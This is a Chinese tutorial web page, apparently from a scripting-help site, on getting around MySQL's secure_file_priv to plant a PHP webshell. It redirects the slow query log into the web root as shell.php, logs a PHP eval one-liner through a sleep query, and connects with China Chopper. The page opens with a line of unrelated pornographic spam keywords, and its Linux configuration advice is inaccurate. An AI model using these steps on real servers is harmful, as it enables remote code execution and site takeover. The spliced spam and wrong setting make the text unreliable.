亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

MYSQL突破secure_file_priv寫(xiě)shell問(wèn)題

 更新時(shí)間:2024年01月18日 17:09:59   作者:W小哥1  
這篇文章主要介紹了MYSQL突破secure_file_priv寫(xiě)shell問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教

目標(biāo)IP地址:192.168.106.130

本地IP地址:192.168.106.1

訪(fǎng)問(wèn)目標(biāo)網(wǎng)絡(luò)如下圖所示:

實(shí)驗(yàn)場(chǎng)景

某些情況下,當(dāng)我們進(jìn)入網(wǎng)站phpmyadmin或者網(wǎng)站后臺(tái)執(zhí)行SQL命令,計(jì)劃通過(guò)select into outfile寫(xiě)一句話(huà)木馬(shell),但是通常都會(huì)報(bào)錯(cuò)

如下圖所示:

原因

在mysql 中 secure_file_priv的值默認(rèn)為NULL。

并且無(wú)法用sql語(yǔ)句對(duì)其進(jìn)行修改,只能夠通過(guò)以下方式修改

windows:

修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =

保存,重啟mysql。

Linux:

在/etc/my.cnf的[mysqld]下面添加local-infile=0選項(xiàng)。

secure_file_priv作用:

  • secure_file_priv為null 表示不允許導(dǎo)入導(dǎo)出
  • secure_file_priv指定文件夾時(shí),表示mysql的導(dǎo)入導(dǎo)出只能發(fā)生在指定的文件夾
  • secure_file_priv沒(méi)有設(shè)置時(shí),則表示沒(méi)有任何限制

但是如果這樣的話(huà)我們就不能夠?qū)憇hell了嗎?答案是否定的。

突破限制利用方法:日志的利用

利用方法:

攻擊時(shí)進(jìn)行一次附帶代碼的url請(qǐng)求,在日志記錄這次請(qǐng)求之后,通過(guò)文件包含漏洞來(lái)包含這個(gè)日志文件,從而執(zhí)行請(qǐng)求中的代碼。

mysql也具有日志,我們也可以通過(guò)日志來(lái)getshell。

mysql日志主要包含:錯(cuò)誤日志、查詢(xún)?nèi)罩?、慢查?xún)?nèi)罩?、事?wù)日志,日志的詳細(xì)情況參考mysql日志詳細(xì)解析

本次實(shí)驗(yàn)主要利用慢查詢(xún)?nèi)罩緦?xiě)shell

第一步:

1.設(shè)置slow_query_log=1.即啟用慢查詢(xún)?nèi)罩?默認(rèn)禁用)。

分析:

slow_query_log=ON 已開(kāi)啟

第二步:

修改slow_query_log_file日志文件的絕對(duì)路徑以及文件名

作為攻擊者不知道安裝路徑,可以輸入:show variables like “%char%”,執(zhí)行效果如下圖所示,得到安裝路徑

修改slow_query_log_file日志文件的絕對(duì)路徑以及文件名為C:\phpstudy\PHPTutorial\WWW\shell.php

set global slow_query_log_file=‘C:\phpstudy\PHPTutorial\WWW\shell.php’

目標(biāo)靶機(jī)驗(yàn)證是否成功修改:

第三步:

向日志文件寫(xiě)入shell,select ‘<?php @eval($_POST[x]);?>’ or sleep(11)

因?yàn)閟leep(11),SQL語(yǔ)句正確的話(huà),會(huì)延遲11秒后返回執(zhí)行結(jié)果,耐心等待即可

第四步:

訪(fǎng)問(wèn)shell.php日志文件

第五步:

中國(guó)菜刀連接

連接成功

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • mysql中ROW_FORMAT的選擇問(wèn)題

    mysql中ROW_FORMAT的選擇問(wèn)題

    這篇文章主要介紹了mysql中ROW_FORMAT的選擇問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-10-10
  • sqlmap注入圖文詳解

    sqlmap注入圖文詳解

    sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS,其中也包含一點(diǎn)繞WAF的技巧,便于大家集中查閱,希望能給你帶來(lái)幫助
    2021-08-08
  • MySQL數(shù)據(jù)庫(kù)鎖機(jī)制原理解析

    MySQL數(shù)據(jù)庫(kù)鎖機(jī)制原理解析

    這篇文章主要介紹了MySQL數(shù)據(jù)庫(kù)鎖機(jī)制原理解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-12-12
  • MySQL查詢(xún)性能優(yōu)化七種方式索引潛水

    MySQL查詢(xún)性能優(yōu)化七種方式索引潛水

    這篇文章主要介紹了MySQL查詢(xún)性能優(yōu)化七種方式索引潛水,文章為榮啊主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的朋友可以參考一下
    2022-08-08
  • Mysql創(chuàng)建json字段索引的兩種方式

    Mysql創(chuàng)建json字段索引的兩種方式

    本文主要介紹了Mysql創(chuàng)建json字段索引的兩種方式,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-06-06
  • 淺談慢SQL優(yōu)化之索引的作用

    淺談慢SQL優(yōu)化之索引的作用

    本文針對(duì)?MySQL?數(shù)據(jù)庫(kù)的?InnoDB?存儲(chǔ)引擎,介紹其中索引的實(shí)現(xiàn)以及索引在慢?SQL?優(yōu)化中的作用,本文主要討論不同場(chǎng)景下索引生效與失效的原因,感興趣的小伙伴可以跟著小編一起來(lái)探討
    2023-05-05
  • 分享8個(gè)不得不說(shuō)的MySQL陷阱

    分享8個(gè)不得不說(shuō)的MySQL陷阱

    這篇文章給大家分享8個(gè)不得不說(shuō)的MySQL陷阱,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友參考下吧
    2018-03-03
  • MySQL的事務(wù)的基本要素和事務(wù)隔離級(jí)別詳解

    MySQL的事務(wù)的基本要素和事務(wù)隔離級(jí)別詳解

    這篇文章主要介紹了MySQL的事務(wù)的基本要素和事務(wù)隔離級(jí)別,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-04-04
  • mysql不區(qū)分大小寫(xiě)配置小結(jié)

    mysql不區(qū)分大小寫(xiě)配置小結(jié)

    在某些情況下,我們可能希望數(shù)據(jù)庫(kù)忽略大小寫(xiě),以便更方便地進(jìn)行操作,本文主要介紹了mysql不區(qū)分大小寫(xiě)配置,具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-07-07
  • Mysql 切換數(shù)據(jù)存儲(chǔ)目錄的實(shí)現(xiàn)方法

    Mysql 切換數(shù)據(jù)存儲(chǔ)目錄的實(shí)現(xiàn)方法

    這篇文章主要介紹了Mysql 切換數(shù)據(jù)存儲(chǔ)目錄的實(shí)現(xiàn)方法的相關(guān)資料,需要的朋友可以參考下
    2017-07-07

最新評(píng)論